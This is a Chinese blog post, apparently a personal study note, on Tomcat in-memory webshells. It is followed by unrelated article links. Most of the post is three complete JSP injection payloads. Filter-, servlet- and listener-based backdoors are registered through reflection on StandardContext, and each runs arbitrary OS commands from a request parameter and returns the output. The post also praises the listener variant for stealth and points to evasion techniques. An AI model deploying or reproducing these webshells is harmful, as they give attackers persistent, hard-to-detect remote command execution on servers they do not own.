看了雷石的内存马深入浅出,就心血来潮看了看,由于本人java贼菜就不介绍原理了,本文有关知识都贴链接吧

前置知识

本次主要看的是tomcat的内存马,所以前置知识有下列

1.tomcat结构,tomcat和idea联动创建java_web

2.jsp简单语法结构

3.servlet基础

这些百度就行,不贴链接了,下面贴链接的都是,不容易百度到,或者知识体系和描述不一致的

内存马基础知识

1.内存马能够存在的三种形式:

https://mp.weixin.qq.com/s?__biz=MzIxMjEwNTc4NA==&mid=2652991099&idx=1&sn=a6c34bb344f105eb98fc6943c7439331&scene=21#wechat_redirect

2.filter型内存马实现流程

https://mp.weixin.qq.com/s/hev4G1FivLtqKjt0VhHKmw

<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%> <%
final String name = "fengxuan";
ServletContext servletContext = request.getSession().getServletContext(); Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext); Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext); Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext); if (filterConfigs.get(name) == null){
Filter filter = new Filter() {
@Override
public void init(FilterConfig filterConfig) throws ServletException { } @Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
//这里写上我们后门的主要代码
HttpServletRequest req = (HttpServletRequest) servletRequest;
if (req.getParameter("cmd") != null){
/*这是linux的,我主要用的windows的
byte[] bytes = new byte[1024];
Process process = new ProcessBuilder("bash","-c",req.getParameter("cmd")).start();
int len = process.getInputStream().read(bytes);
servletResponse.getWriter().write(new String(bytes,0,len));
process.destroy();
return;
*/
String command = req.getParameter("cmd");
//System.out.println(Arrays.toString(command));
InputStream inputStream = Runtime.getRuntime().exec(command).getInputStream();
Scanner scanner = new Scanner(inputStream).useDelimiter("\\a");
String output = scanner.hasNext() ? scanner.next() : "";
servletResponse.getWriter().write(output);
servletResponse.getWriter().flush();
return;
}
//别忘记带这个,不然的话其他的过滤器可能无法使用
filterChain.doFilter(servletRequest,servletResponse);
} @Override
public void destroy() { }
}; FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName()); // 将filterDef添加到filterDefs中
standardContext.addFilterDef(filterDef); FilterMap filterMap = new FilterMap();
//拦截的路由规则,/* 表示拦截任意路由
filterMap.addURLPattern("/*");
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name()); standardContext.addFilterMapBefore(filterMap); Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef); filterConfigs.put(name,filterConfig);
out.print("注入成功");
}
%>

3.servlet内存马实现流程

原理这个讲的比较好:https://blog.csdn.net/angry_program/article/details/118492214

但是不得不说这里真的坑,我到写这篇记录都没搞定idea调试tomcat源码的操作

所以直接给大家源码吧

<%@ page import="java.io.IOException" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.io.PrintWriter" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %> <%!
public static class servletTest extends HttpServlet {
@Override
public void doGet(HttpServletRequest httpRequest, HttpServletResponse httpResponse) throws ServletException, IOException {
System.out.println("doGet被调用");
//servletResponse.getOutputStream().write("doGet被调用".getBytes()); if (httpRequest.getParameter("c") != null) {
System.out.println("eval");
//String[] command = new String[]{"sh", "-c", request.getParameter("c")};
String command = httpRequest.getParameter("c");
//System.out.println(Arrays.toString(command));
InputStream inputStream = Runtime.getRuntime().exec(command).getInputStream();
Scanner scanner = new Scanner(inputStream).useDelimiter("\\a");
String output = scanner.hasNext() ? scanner.next() : "";
httpResponse.getOutputStream().write(output.getBytes());
httpResponse.getOutputStream().flush();
//servletResponse.getWriter().write(output);
//servletResponse.getWriter().flush(); }
} @Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
System.out.println("doPost被调用");
doGet(req, resp);
} @Override
public void init() throws ServletException {
System.out.println("servlet demo init!");
}
}
%>
<%
servletTest servlet=new servletTest();
// 一个小路径快速获得StandardContext,这两种都行,这个常用一点,不过我一直没找到request引的哪个包,坑!!!
// Field reqF = request.getClass().getDeclaredField("request");
// reqF.setAccessible(true);
// Request req = (Request) reqF.get(request);
// StandardContext stdcontext = (StandardContext) req.getContext(); // 获取StandardContext
org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =(org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext stdcontext = (StandardContext)webappClassLoaderBase.getResources().getContext(); org.apache.catalina.Wrapper newWrapper = stdcontext.createWrapper();
String name = servlet.getClass().getSimpleName();
newWrapper.setName(name);
newWrapper.setLoadOnStartup(1);
newWrapper.setServlet(servlet);
newWrapper.setServletClass(servlet.getClass().getName()); // url绑定
stdcontext.addChild(newWrapper);
stdcontext.addServletMappingDecoded("/servlet", name);
System.out.print("注入成功"); %>

3.listener型内存马(非常推荐):

<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.io.IOException" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%> <%!
public class listenerDemo implements ServletRequestListener{
@Override
public void requestDestroyed(ServletRequestEvent sre){
System.out.println("linstener Destroyed!");
} @Override
public void requestInitialized(ServletRequestEvent sre){
System.out.println("linstener Initialized!");
String command = sre.getServletRequest().getParameter("fuck");
try {
Runtime.getRuntime().exec(command);
} catch (IOException e) {
e.printStackTrace();
} }
}
%>
<%
// 一个小路径快速获得StandardContext
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext context = (StandardContext) req.getContext(); listenerDemo listenerdemo = new listenerDemo();
context.addApplicationEventListener(listenerdemo);
%>

这个listener的形式优先级最高,代码量最小,而且由于servrlet的特性,每次都会销毁实例,隐蔽性更高一点点

绕过方式

https://mp.weixin.qq.com/s?__biz=MzIxMjEwNTc4NA==&mid=2652991099&idx=1&sn=a6c34bb344f105eb98fc6943c7439331&scene=21#wechat_redirect

“降维打击篇”以后部分,写得非常好。

剩余问题

1.tomcat源码在idea调试咋弄,有会的告我一下,跪求

2.其它容器中内存马实现方式

3.反序列化实现真正的无文件形式内存马:http://wjlshare.com/archives/1541

简单学习java内存马的更多相关文章

  1. 《深入理解 Java 虚拟机》学习 -- Java 内存模型

    <深入理解 Java 虚拟机>学习 -- Java 内存模型 1. 区别 这里要和 JVM 内存模型区分开来: JVM 内存模型是指 JVM 内存分区 Java 内存模型(JMM)是指一种 ...

  2. [Java初探08]__简单学习Java类和对象

    前言 在前面的学习中,我们对面向对象的编程思想有了一个基本的了解,并且简单的了解了类和对象的定义.那么类和对象在Java语言中是如何表现的,这次,就从实际出发,学习一下一下类和对象在Java语言中的使 ...

  3. 最简单的 Java内存模型 讲解

    前言 在网上看了很多文章,也看了好几本书中关于JMM的介绍,我发现JMM确实是Java中比较难以理解的概念.网上很多文章中关于JMM的介绍要么是照搬了一些书上的内容,要么就干脆介绍的就是错的.本文试着 ...

  4. JVM学习---JAVA内存

    一.JAVA运行时数据区域:JAVA中的运行时内存区域有的随着虚拟机进程的启动而存在,有的区域则是依赖用户线程的启动和结束而建立和销毁的.包括以下的几个区域. 图. JAVA虚拟机运行时数据区 1.程 ...

  5. Java虚拟机学习-Java内存区域(一)

    Java虚拟机内存划分为以下几个区域: 1.方法区:方法区是各个线程共享的内存区域,它用于存储已被虚拟机加载的类信息.常量.静态变量.即时编译器编译后的代码等数据.虽然Java虚拟机规范把方法区描述为 ...

  6. 简单认识JAVA内存划分

    Java的内存划分为五个部分 那么又是哪五个部分呢?跟着我往下看! 介绍: 每个程序运行都需要内存空间,所以Java也不例外:而Java把从计算机中申请的这一块内存又进行了划分!而所在目的是为了让程序 ...

  7. 针对spring mvc的controller内存马-学习和实验

    1 基础 实际上java内存马的注入已经有很多方式了,这里在学习中动手研究并写了一款spring mvc应用的内存马.一般来说实现无文件落地的java内存马注入,通常是利用反序列化漏洞,所以动手写了一 ...

  8. Java 内存分配全面浅析

    本文将由浅入深详细介绍Java内存分配的原理,以帮助新手更轻松的学习Java.这类文章网上有很多,但大多比较零碎.本文从认知过程角度出发,将带给读者一个系统的介绍. 进入正题前首先要知道的是Java程 ...

  9. Java内存分配全面浅析

    本文将由浅入深详细介绍Java内存分配的原理,以帮助新手更轻松的学习Java.这类文章网上有很多,但大多比较零碎.本文从认知过程角度出发,将带给读者一个系统的介绍. 进入正题前首先要知道的是Java程 ...

随机推荐

  1. Git常用命令+本地连接远程仓库

    一.git命令整理 git config --global user.email "邮箱名":绑定GitHub邮箱 git config --global user.name &q ...

  2. SQL Server 将两行或者多行拼接成一行数据

    一个朋友,碰到一个问题. 就是查询出来的结果集,需要每隔三行.就将这三行数据以此拼接为一行显示.起初我想着用ROW_NUMBER加CASE WHEN去做,发现结果并非我预期那样. 结果如下: 由于别人 ...

  3. 2021.5.22 noip模拟1

    这场考试考得很烂 连暴力都没打好 只拿了25分,,,,,,,,好好总结 T1序列 A. 序列 题目描述 HZ每周一都要举行升旗仪式,国旗班会站成一整列整齐的向前行进. 郭神作为摄像师想要选取其中一段照 ...

  4. 如何在Python中加速信号处理

    如何在Python中加速信号处理 This post is the eighth installment of the series of articles on the RAPIDS ecosyst ...

  5. 如何使用TVM Pass红外线

    如何使用TVM Pass红外线 随着Relay / tir中优化遍数的增加,执行并手动维护其依赖关系变得很棘手.引入了一个基础结构来管理优化过程,将其应用于TVM堆栈中IR的不同层. Relay / ...

  6. Minkowski坐标管理

    Minkowski坐标管理 坐标键 classMinkowskiEngine.CoordsKey(D) __init__(D) 初始化self. See help(type(self))有关准确的签名 ...

  7. Python基础_python的数据类型

    一.Python 的标准数据类型 二.以下单个实际举例分析数据类型 2.1 python的数字类型 Int:整型,Python3 整型是没有限制大小的,可以当作 Long 类型使用,所以 Python ...

  8. Java SSM框架理论知识

    一.Spring理论知识 1.Spring 在ssm中起什么作用? Spring:轻量级框架 作用:Bean工厂,用来管理Bean的生命周期和框架集成. 两大核心:1.IOC/DI(控制反转/依赖注入 ...

  9. JUC下工具类CountDownLatch用法以及源码理解

    CountDownLoatch是JUC下一个用于控制计数的计数器,比如我需要从6开始计数,每个线成运行完之后计数减一,等计数器到0时候开始执行其他任务. public static void main ...

  10. 【Android漏洞复现】StrandHogg漏洞复现及原理分析_Android系统上的维京海盗

    文章作者MG1937 CNBLOG博客:ALDYS4 QQ:3496925334 0x00 StrandHogg漏洞详情 StrandHogg漏洞 CVE编号:暂无 [漏洞危害] 近日,Android ...